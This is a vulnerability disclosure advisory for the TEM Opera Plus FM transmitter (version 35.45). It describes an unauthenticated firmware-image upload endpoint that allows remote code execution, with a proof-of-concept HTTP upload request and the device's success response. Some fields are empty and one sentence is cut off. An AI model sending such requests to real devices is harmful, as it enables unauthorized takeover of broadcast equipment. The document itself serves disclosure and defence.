TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution  
Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.  
Product web page:  
Affected version: Software version: 35.45  
Webserver version: 1.7  
Summary: This new line of Opera plus FM Transmitters combines very  
high efficiency, high reliability and low energy consumption in compact  
solutions. They have innovative functions and features that can eliminate  
the costs required by additional equipment: automatic exchange of audio  
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O  
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP  
Desc: The device allows access to an unprotected endpoint that allows  
MPFS File System binary image upload without authentication. The MPFS2  
file system module provides a light-weight read-only file system that  
can be stored in external EEPROM, external serial Flash, or internal  
Flash program memory. This file system serves as the basis for the  
HTTP2 web server module, but is also used by the SNMP module and is  
available to other applications that require basic read-only storage  
capabilities. This can be exploited to overwrite the flash program  
memory that holds the web server's main interfaces and execute arbitrary  
Tested on: Webserver  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2023-5799  
Advisory URL:  
POST /mpfsupload HTTP/1.1  
Content-Length: 251  
Cache-Control: max-age=0  
Content-Type: multipart/form-data; boundary=----joxypoxy2  
User-Agent: MPFS2_PoC/2.0c  
Accept: */*  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin"  
Content-Type: application/octet-stream  
HTTP/1.1 200 OK  
Connection: close  
Content-Type: text/html  
<html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html>